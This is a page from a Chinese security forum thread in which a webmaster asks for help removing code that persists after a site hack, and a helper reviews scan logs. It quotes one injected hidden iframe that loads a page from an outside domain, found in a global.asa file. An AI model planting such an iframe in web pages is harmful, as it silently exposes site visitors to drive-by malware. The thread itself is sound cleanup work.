瑞星卡卡安全论坛技术交流区恶意网站交流 求救:网站被黑恢复后总有代码删不掉,急求解!!!

123   2  /  3  页   跳转

[求助] 求救:网站被黑恢复后总有代码删不掉,急求解!!!

回复:求救:网站被黑恢复后总有代码删不掉,急求解!!!

下载sreng工具扫描日志压缩发来,在服务器上扫描
http://www.kztechs.com/sreng/download.html
gototop
 

回复 10F networkedition 的帖子

CryptWan.dll,不能压缩,报一个:不能读取 C:\WINDOWS\system32\CryptWan.dll\* 的内容
打开的话就报拒绝访问。
现在正在全盘搜索:global.asa这个文件
gototop
 

回复 11F networkedition 的帖子

正在扫描日志,先把搜到的global.asa文件发上来

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)

附件附件:

下载次数:326
文件类型:application/octet-stream
文件大小:
上传时间:2012-7-9 11:14:31
描述:rar

gototop
 

回复 10F networkedition 的帖子

这是查到的
global.asa文件.
http://bbs.ikaka.com/showtopic-9176921.aspx
gototop
 

回复 10F networkedition 的帖子

现将扫描好的日志发上来,您给看看.

用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)

附件附件:

文件名:SREngLOG.log
下载次数:306
文件类型:application/octet-stream
文件大小:
上传时间:2012-7-9 11:33:54
描述:log

gototop
 

回复 5F networkedition 的帖子

http://bbs.ikaka.com/showtopic-9176923.aspx
这里面的附件是扫描的日志结果.您看看.谢谢
gototop
 

回复 15F ying8125 的帖子

c:\documents and settings\all users\application data\nul.bcdatax.img  找到压缩发来。
另wbwchat目录下的global.asa文件有问题,都会链接到:<iframe src=http://aaa.369678.cn/bumian12.htm width=50 height=1></iframe>,虽然已失效,查看一下,如果不是网站的正常文件,建议删除。
gototop
 

回复 17F networkedition 的帖子

nul.bcdatax.img,这个文件拷不出来,也是删不了,一拷就报:参数不正确.
wbwchat下面的.asa文件都删了.
gototop
 

回复:求救:网站被黑恢复后总有代码删不掉,急求解!!!

nul.bcdatax.img这个文件能删掉吗?
gototop
 

回复 19F ying8125 的帖子

已加QQ,请尽快通过验证。
gototop
 
123   2  /  3  页   跳转
页面顶部
Powered by Discuz!NT